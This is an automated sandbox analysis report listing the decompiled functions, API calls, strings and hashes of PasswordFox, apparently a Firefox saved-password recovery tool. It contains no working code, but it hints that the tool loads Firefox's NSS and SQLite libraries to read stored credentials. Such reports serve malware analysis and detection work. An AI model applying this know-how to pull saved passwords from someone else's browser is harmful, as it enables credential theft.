Instruction Fuzzy Hash: 1801D671751601EAD3115BB09DCDB6B799CDF41749B10023AE502F22C0EBF9CD018A6D

Function 00409E76 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(nss3.dll,00000000,?,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409E85
GetModuleHandleW.KERNEL32(sqlite3.dll,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409E8E
GetModuleHandleW.KERNEL32(mozsqlite3.dll,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409E97
FreeLibrary.KERNEL32(00000000,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409EA6
FreeLibrary.KERNEL32(00000000,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409EAD
FreeLibrary.KERNEL32(00000000,?,74DEF3A0,00409FCC,?,?,?,?,?,00000000), ref: 00409EB4

Strings

nss3.dll, xrefs: 00409E80
sqlite3.dll, xrefs: 00409E87
mozsqlite3.dll, xrefs: 00409E90

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: FreeHandleLibraryModule
String ID: mozsqlite3.dll$nss3.dll$sqlite3.dll
API String ID: 662261464-3550686275
Opcode ID: 65bb279b1682e9eef8c69532225dc9fc0058e63144ed11cb9bbc0510ad60409b
Instruction ID: 08c439e0005e5b6272bef9f9fc045148d78c5181b00ef59778e5949af8958093
Opcode Fuzzy Hash: 65bb279b1682e9eef8c69532225dc9fc0058e63144ed11cb9bbc0510ad60409b
Instruction Fuzzy Hash: 24E04823E4136DA6CA10A7F59D84D2B7E5CDCC5AE13150437AD00732D29EBD5C0149F9

Function 00401B06 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00401B15
abs.MSVCRT ref: 00401C1E
abs.MSVCRT ref: 00401C50
log.MSVCRT ref: 00401D01
log.MSVCRT ref: 00401D13
free.MSVCRT ref: 00401D35
free.MSVCRT ref: 00401D49

Strings

, xrefs: 00401B43

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: free$wcslen
String ID:
API String ID: 3592753638-3916222277
Opcode ID: ddb550bc4d18b6149fc12f57054d732c8a3faa90f620d1426dd72524d1c7f83f
Instruction ID: 7b97a1965dd34fe5720687fb37fcb42d93b5fc4f6429c7fb3a30afb56e8cdd22
Opcode Fuzzy Hash: ddb550bc4d18b6149fc12f57054d732c8a3faa90f620d1426dd72524d1c7f83f
Instruction Fuzzy Hash: 1D61343040C3469BEB68AF11D58442BB7B1FF84716F90093FF482A62A1E779D985CB4E

Function 004053F1 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 00405430
wcscpy.MSVCRT ref: 00405472

Part of subcall function 004058E3: memset.MSVCRT ref: 004058F6
Part of subcall function 004058E3: _itow.MSVCRT ref: 00405904

wcslen.MSVCRT ref: 00405490
GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 0040549E
LoadStringW.USER32(00000000,00000006,?,?), ref: 004054C9
memcpy.MSVCRT(00000000,00000002), ref: 00405509

Part of subcall function 0040534F: ??2@YAPAXI@Z.MSVCRT(00000000,004053FF,00402460,PasswordFox), ref: 00405389
Part of subcall function 0040534F: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053A7
Part of subcall function 0040534F: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053C5
Part of subcall function 0040534F: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,004053FF,00402460,PasswordFox), ref: 004053E3

Strings

strings, xrefs: 00405468
<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00405405

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$strings
API String ID: 3166385802-4125592482
Opcode ID: e7925b7c639ce5ccb6452d2b9abfb092da25b9a53f1a0af1939cc833b4a1da7c
Instruction ID: e34ee92e24309c31d70f713afcde4bed0f03b1ba035f10be4a3659d8cbe9581e
Opcode Fuzzy Hash: e7925b7c639ce5ccb6452d2b9abfb092da25b9a53f1a0af1939cc833b4a1da7c
Instruction Fuzzy Hash: 51414F75240901BBC716DB14EC95AAB3366E784345B10843AEC06A72A1DEBEA9C2CF5C

Function 00404191 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002), ref: 004041B6
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000), ref: 004041D4
wcslen.MSVCRT ref: 004041E1
wcscpy.MSVCRT ref: 004041F1
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 004041FB
wcscpy.MSVCRT ref: 0040420B

Strings

netmsg.dll, xrefs: 004041B1
Unknown Error, xrefs: 00404203

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: Unknown Error$netmsg.dll
API String ID: 2767993716-572158859
Opcode ID: 80139e6b532b94f01ce9ce1e1c92038c37d2584c8a9306761def94e999b5e351
Instruction ID: e1356e26e723054dae363e03e241d1f330764c7fffbd77785f60b69d870017c2
Opcode Fuzzy Hash: 80139e6b532b94f01ce9ce1e1c92038c37d2584c8a9306761def94e999b5e351
Instruction Fuzzy Hash: 2501F771600114FAD7146790ED4AE9F7A6CDB44795B20417AFA01B41D2DB395F40D6AC

Function 00405D70 Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00404530: GetFileAttributesW.KERNELBASE(00000000,004034E5,00000000), ref: 00404534

wcscpy.MSVCRT ref: 00405D8A
wcscpy.MSVCRT ref: 00405D9A
GetPrivateProfileIntW.KERNEL32(0040FDA8,rtl,00000000,0040FB98), ref: 00405DAB

Part of subcall function 0040591A: GetPrivateProfileStringW.KERNEL32(0040FDA8,?,0040C3EC,0040FE30,?,0040FB98), ref: 00405936

Strings

rtl, xrefs: 00405DA5
charset, xrefs: 00405DB9
TranslatorName, xrefs: 00405DCF
general, xrefs: 00405D8F
TranslatorURL, xrefs: 00405DE3

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: c2e55dc3a3a1f1d25c9100fd84f627f34b5cdf161f278e115aa86b060eee7ff2
Instruction ID: 6ff666b2312f51737588b3cf453df67747fbdff2f9c4fbd940fa7efab882ce8e
Opcode Fuzzy Hash: c2e55dc3a3a1f1d25c9100fd84f627f34b5cdf161f278e115aa86b060eee7ff2
Instruction Fuzzy Hash: 1EF09622ED1221B6D6203731AC47F2B3524CF92B25F54823BB948766D3DA7C5E058ADD

Function 00406319 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406114
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406122
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406133
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 0040614A
Part of subcall function 00406108: ??3@YAXPAX@Z.MSVCRT(?,?,?,00406332), ref: 00406153

??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406359
??2@YAPAXI@Z.MSVCRT(00000000,00000000), ref: 00406375
memcpy.MSVCRT(?,0040F098,00000014), ref: 0040639A
memcpy.MSVCRT(?,0040F084,00000014,?,0040F098,00000014), ref: 004063AE
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406431
??2@YAPAXI@Z.MSVCRT(0000000C,00000000), ref: 0040643B
??2@YAPAXI@Z.MSVCRT(00000000), ref: 00406473

Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 00405430
Part of subcall function 004053F1: LoadStringW.USER32(00000000,00000006,?,?), ref: 004054C9
Part of subcall function 004053F1: memcpy.MSVCRT(00000000,00000002), ref: 00405509

Part of subcall function 004053F1: wcscpy.MSVCRT ref: 00405472
Part of subcall function 004053F1: wcslen.MSVCRT ref: 00405490
Part of subcall function 004053F1: GetModuleHandleW.KERNEL32(00000000,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00402460,PasswordFox), ref: 0040549E

Strings

d, xrefs: 00406452
(, xrefs: 004063FB

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@??3@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID: ($d
API String ID: 1140211610-1915259565
Opcode ID: cc611055cbc00d40441fd59cb1f3185aa6fff62fb04399cc1b0be723267b4483
Instruction ID: c149448ff439af1a23248ab9c20f5614ad1bca10517fdd128314e281d934c264
Opcode Fuzzy Hash: cc611055cbc00d40441fd59cb1f3185aa6fff62fb04399cc1b0be723267b4483
Instruction Fuzzy Hash: 2A515972601700AFD724DF2AC586A5AB7E4FF48314F10853EE55ADB3D1DB78E9408B48

Function 004038F8 Relevance: 13.6, APIs: 9, Instructions: 97COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403923
memset.MSVCRT ref: 00403937
_mbscpy.MSVCRT(?), ref: 00403951
_mbscpy.MSVCRT(?,?), ref: 00403996
_mbscpy.MSVCRT(?,00001000,?,?), ref: 004039AA
_mbscpy.MSVCRT(?,?,?,00001000,?,?), ref: 004039BD
wcscpy.MSVCRT ref: 004039CC
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 004039F3
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00403A09

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _mbscpy$ByteCharMultiWidememset$wcscpy
String ID:
API String ID: 59245283-0
Opcode ID: d9ceb4d61dd339e9f3ccf083ac235a8309192dc98f2fac4bce5a5254fec8cc2d
Instruction ID: a36109ca0726fc38a0f1bfd74a5c08f45524f924bc412f38d8147f3413982100
Opcode Fuzzy Hash: d9ceb4d61dd339e9f3ccf083ac235a8309192dc98f2fac4bce5a5254fec8cc2d
Instruction Fuzzy Hash: 773153B280011DABDB20DB54CC81FEA77BCFB04358F0445AAB959E3181DB34AB448FA8

Function 004038FA Relevance: 13.6, APIs: 9, Instructions: 96COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403923
memset.MSVCRT ref: 00403937
_mbscpy.MSVCRT(?), ref: 00403951
_mbscpy.MSVCRT(?,?), ref: 00403996
_mbscpy.MSVCRT(?,00001000,?,?), ref: 004039AA
_mbscpy.MSVCRT(?,?,?,00001000,?,?), ref: 004039BD
wcscpy.MSVCRT ref: 004039CC
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 004039F3
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF), ref: 00403A09

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: _mbscpy$ByteCharMultiWidememset$wcscpy
String ID:
API String ID: 59245283-0
Opcode ID: 7f4b22131dff1f3b90c5f8b9439278ad1a1ba1842d8059aec2b2cc0d3d17a81d
Instruction ID: 651ebfe4d8686ab00d6d8292f5afd2682983f6326ab148555fa5b6b6826b63c5
Opcode Fuzzy Hash: 7f4b22131dff1f3b90c5f8b9439278ad1a1ba1842d8059aec2b2cc0d3d17a81d
Instruction Fuzzy Hash: 2A3165B280011DABDB20DB54CC81FEA77BCFB04358F0445BAB959E3181DB34AB448FA8

Function 0040AEE6 Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,",0000000C,?,?,00000000,004072DA,?,?), ref: 0040AF1D
memcpy.MSVCRT(?,&,0000000A,?,?,00000000,004072DA,?,?), ref: 0040AF49
memcpy.MSVCRT(?,<,00000008,?,?,00000000,004072DA,?,?), ref: 0040AF63

Strings

>, xrefs: 0040AF08
°, xrefs: 0040AF34
&, xrefs: 0040AF43
", xrefs: 0040AF17
<br>, xrefs: 0040AF5D
<, xrefs: 0040AEFA

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 1b3d7cfcd1d93c2aacca216e0e1b7c9728f3e8663702d8ac47ded56eca963c46
Instruction ID: 416d8c46835b4c1c04a167e830ff4e0fd7d22b0ad497b06718149a879596d325
Opcode Fuzzy Hash: 1b3d7cfcd1d93c2aacca216e0e1b7c9728f3e8663702d8ac47ded56eca963c46
Instruction Fuzzy Hash: 0B0128C2E4836360D73021558C42F770214D763761FA50637FD8A352C5E2BE0E67419F

Function 00404C22 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00404C43
_snwprintf.MSVCRT ref: 00404C71
wcslen.MSVCRT ref: 00404C7D
memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 00404C95
wcslen.MSVCRT ref: 00404CA3
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 00404CB6

Strings

%s (%s), xrefs: 00404C66

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 5c101a1717d761a794b4a47935445535065bc458e323c29de6e27173c3d94f1c
Instruction ID: f86e3ccb55b9338e549465bc076e66811fed7a5bdf8c9a07788a6878919dd802
Opcode Fuzzy Hash: 5c101a1717d761a794b4a47935445535065bc458e323c29de6e27173c3d94f1c
Instruction Fuzzy Hash: 49112C72800209EBCF61DF95C845E8AB7B9FF44308F1184BAE944B7152EB74A7598BD8

Function 00405B4D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405B72
GetDlgCtrlID.USER32(?), ref: 00405B7D
GetWindowTextW.USER32(?,?,00001000), ref: 00405B94
memset.MSVCRT ref: 00405BBB
GetClassNameW.USER32(?,?,000000FF), ref: 00405BD2
_wcsicmp.MSVCRT ref: 00405BE4

Part of subcall function 00405A25: memset.MSVCRT ref: 00405A38
Part of subcall function 00405A25: _itow.MSVCRT ref: 00405A46

Strings

sysdatetimepick32, xrefs: 00405BDE

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 538cbd483b61a964058767800756a2ba6769951f459bf2ef98068abb1200db1f
Instruction ID: 5de72342b8da513a90488bf833bb40f5844d3311299e0a82bf0f1c6b52723e7a
Opcode Fuzzy Hash: 538cbd483b61a964058767800756a2ba6769951f459bf2ef98068abb1200db1f
Instruction Fuzzy Hash: C7115432940119BADB14EB91DD8AEAB777DEF04750F0041B6F918F2192E7349A41CB99

Function 00402E51 Relevance: 12.2, APIs: 8, Instructions: 197windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00402EF9
GetDlgItem.USER32(?,000003E9), ref: 00402F0C
GetDlgItem.USER32(?,000003E9), ref: 00402F21
GetDlgItem.USER32(?,000003E9), ref: 00402F39
EndDialog.USER32(?,00000002), ref: 00402F55
EndDialog.USER32(?,00000001), ref: 00402F6A

Part of subcall function 00402C12: GetDlgItem.USER32(?,000003E9), ref: 00402C1F
Part of subcall function 00402C12: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00402C34

SendDlgItemMessageW.USER32(?,000003ED,000000C5,00000003,00000000), ref: 00402F82
SetDlgItemInt.USER32(0000009B,000003ED,?,00000000), ref: 0040308E

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Item$Dialog$MessageSend
String ID:
API String ID: 3975816621-0
Opcode ID: 9a1194d8446d2ee8c2c2fe6142bd65d3812135b4d2a6d970a0f87a6f4731ce56
Instruction ID: ea103f826b137b8a60ac69dd4fbb170abf4acf366394c0b9c5b180a58cd06299
Opcode Fuzzy Hash: 9a1194d8446d2ee8c2c2fe6142bd65d3812135b4d2a6d970a0f87a6f4731ce56
Instruction Fuzzy Hash: 4661B530200606AFDB21AF25CE89A1AB3B5EF54354F00C13FF915A66E1D7B8A991DB49

Function 0040309E Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(0000000C), ref: 004030AE
??3@YAXPAX@Z.MSVCRT(00000000), ref: 004030CA
??2@YAPAXI@Z.MSVCRT(00000000,?), ref: 004030F0
memset.MSVCRT ref: 00403100
??2@YAPAXI@Z.MSVCRT(00000000,?), ref: 0040312F
InvalidateRect.USER32(?,00000000,00000000,?,?,?,?), ref: 0040317C
SetFocus.USER32(?,?,?,?), ref: 00403185
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00403195

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: ??2@$??3@$FocusInvalidateRectmemset
String ID:
API String ID: 2313361498-0
Opcode ID: e8135483db3ba8e4ac7329a3faff6584c00822408e7d482bedcdc92fe8be434f
Instruction ID: f95a6003199faa47c3198fe3a90fdd0791e5989fa17c62b28b46d5f40ed3ca29
Opcode Fuzzy Hash: e8135483db3ba8e4ac7329a3faff6584c00822408e7d482bedcdc92fe8be434f
Instruction Fuzzy Hash: 6E31B3B1500605AFDB249F29C885D1AFBA8FF08318B14853FF519EB2D1DB78ED408B98

Function 0040823E Relevance: 12.1, APIs: 8, Instructions: 76COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0040825D
GetWindowRect.USER32(?,?), ref: 00408273
GetWindowRect.USER32(?,?), ref: 00408286
BeginDeferWindowPos.USER32(00000003), ref: 004082A3
DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004082C0
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004082E0
DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000004), ref: 00408307
EndDeferWindowPos.USER32(?), ref: 00408310

Memory Dump Source

Source File: 0000000B.00000002.1743739038.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.1743720176.0000000000400000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.000000000040F000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743739038.0000000000411000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743799089.0000000000416000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1743819346.0000000000417000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_PasswordFox.jbxd

Yara matches

Similarity

API ID: Window$Defer$Rect$BeginClient
String ID:
API String ID: 2126104762-0
Opcode ID: c8802fdd1d6b54d7263be30d962e9b56158ce9678fc0b2fa05ca925f4f816db0
Instruction ID: 576c8ee5cd9fe0ad8acbf0a33c8371cf80dfc0d116c28f559261c9bb12ca8a9e
Opcode Fuzzy Hash: c8802fdd1d6b54d7263be30d962e9b56158ce9678fc0b2fa05ca925f4f816db0
Instruction Fuzzy Hash: 5521C572940209FFEB118FA8CE89FEEBBB9FB48300F104164EA55B6165C73169519F24

Function 00402CDE Relevance: 10.6, APIs: 7, Instructions: 123windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00402CF5
